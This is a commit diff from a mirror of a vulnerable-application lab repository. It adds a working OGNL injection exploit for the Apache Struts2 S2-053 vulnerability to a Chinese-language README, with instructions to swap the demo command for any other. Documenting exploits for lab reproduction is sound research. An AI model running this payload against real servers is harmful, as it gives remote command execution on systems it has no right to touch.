mirror of
https://github.com/Medicean/VulApps.git
synced 2025-05-07 03:01:32 +00:00
(Update Vul: Struts2) 新增S2-053 Exp 说明
This commit is contained in:
parent
3ce5b6a521
commit
e4e324d2e7
@ -35,7 +35,13 @@ $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-053
|
||||
|
||||
#### Exp
|
||||
|
||||
暂不公开
|
||||
命令执行 Exp:
|
||||
|
||||
```
|
||||
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
||||
```
|
||||
|
||||
替换Exp中的 `(#cmd='/usr/bin/touch /tmp/vuln')` 中的命令即可
|
||||
|
||||
### 修复建议
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user